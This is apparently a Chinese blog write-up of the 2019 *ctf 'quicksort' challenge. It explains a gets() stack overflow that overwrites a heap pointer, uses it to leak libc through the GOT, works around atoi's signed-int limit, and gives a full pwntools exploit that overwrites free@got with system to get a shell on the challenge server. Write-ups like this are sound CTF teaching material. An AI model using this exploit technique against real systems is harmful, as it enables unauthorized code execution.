pollux's Dairy

2019-sixstarsCTF-quicksort

字数统计: 774阅读时长: 4 min
2019/05/01 Share

0x00 程序及利用分析

程序的功能如同程序名一样,实现了快排的功能,但是漏洞利用几乎和快排没有关系

程序开启的保护

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

程序会把待排序的数放在堆里,而堆指针放在栈上,栈地址从低地址到高地址布局如下:

s 输入数字的缓冲区
s
s
s
nums 待排序数的个数
i
j
ptr 堆指针

漏洞点如下:

1
2
3
4
5
6
7
8
9
10
11
for ( i = 0; i < v18; ++i )
{
printf("the %dth number:", i + 1);
gets(&s); // 栈溢出
v0 = (int *)((char *)ptr + 4 * i);
*v0 = atoi(&s); // 任意地址写
}
sub_8048770((int)ptr, 0, v18 - 1);
puts("Here is the result:");
for ( j = 0; j < v18; ++j )
printf("%d ", *((_DWORD *)ptr + j)); // 任意地址读

存在栈溢出,那么我们可以覆盖到堆指针ptr,覆盖为某个函数的got地址,就可以实现任意地址读,泄露libc。

同样可以覆盖堆指针ptr,实现任意地址写

0x01 整数溢出问题

因为程序向堆中写数据时, *v0 = atoi(&s); 使用的函数是atoi,这个函数接受的参数是int整型,在32位长度为4个字节,最大为 2**31-1 = 2147483647
但是system的地址一般以0xbf开头,以0xb7e40da0为例,0xb7e40da0 = 3085176224,已经超过了int型的长度。

以1byte为例进行说明
正数区间:0000 0001 ~ 0111 1111 (1~127)
负数区间:1000 0000 ~ 1111 1111(-1~-127)
在有符号数中便存在 -0 与+0 的问题
-0:1000 0000
+0:0000 0000

所以在int型中,2**31-1 = 21474836472**31 = -0 ; 2**31 + 1 = -1
我们要用int型表示0xb7e40da0,就要用整型的负数表示
所以int型表示0xb7e40da0为 (0xb7e40da0 - 2**31) - 2**31 =-120979107

也可以用下面代码进行转换,将二进制字符串转化为int类型

1
struct.unpack('i', p32(system))[0]

0x02 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/env python
from pwn import *
LOCAL = 0
if LOCAL:
p = process('./quicksort',env={'LD_PRELOAD':'./libc.so.6'})
else:
p = remote('34.92.96.238',10000)
elf = ELF('./quicksort')
libc = elf.libc
context.log_level = 'debug'
def q():
gdb.attach(p)
raw_input('test')

main_addr = 0x8048816
gets_got = 0x0804a014
free_got = 0x0804a018 #gets_got = free_got - 0x4
bss = 0x0804A060

p.recvuntil('how many numbers do you want to sort?')
p.sendline('1')
p.recvuntil('the 1th number:')
payload = str(main_addr).ljust(16,'\x00')
payload += p32(1)+p32(1)+p32(0)+p32(elf.got['gets'])#free@got = main_addr
p.sendline(payload)
p.recvuntil('Here is the result:')

temp = int(p.recvuntil(' \n',drop = True))
gets = u32(struct.pack('i',temp))
log.info('gets_addr:' + hex(gets))
libc_base = gets - libc.symbols['gets']
log.info('libc_base:' + hex(libc_base))
system = libc_base + libc.symbols['system']
log.info('system:' + hex(system))

p.recvuntil('how many numbers do you want to sort?')
p.sendline('3')
p.recvuntil('the 1th number:')
payload = str(struct.unpack('i', p32(system))[0]).ljust(16,'\x00')
payload += p32(3)+p32(0)+p32(0)+p32(elf.got['free'])
p.sendline(payload)

p.recvuntil('the 2th number:')
payload = str(struct.unpack('i', 'sh\x00\x00')[0]).ljust(16,'\x00')
payload += p32(1)+p32(0)+p32(0)+p32(bss)
p.sendline(payload)
p.interactive()
CATALOG
  1. 1. 0x00 程序及利用分析
  2. 2. 0x01 整数溢出问题
  3. 3. 0x02 EXP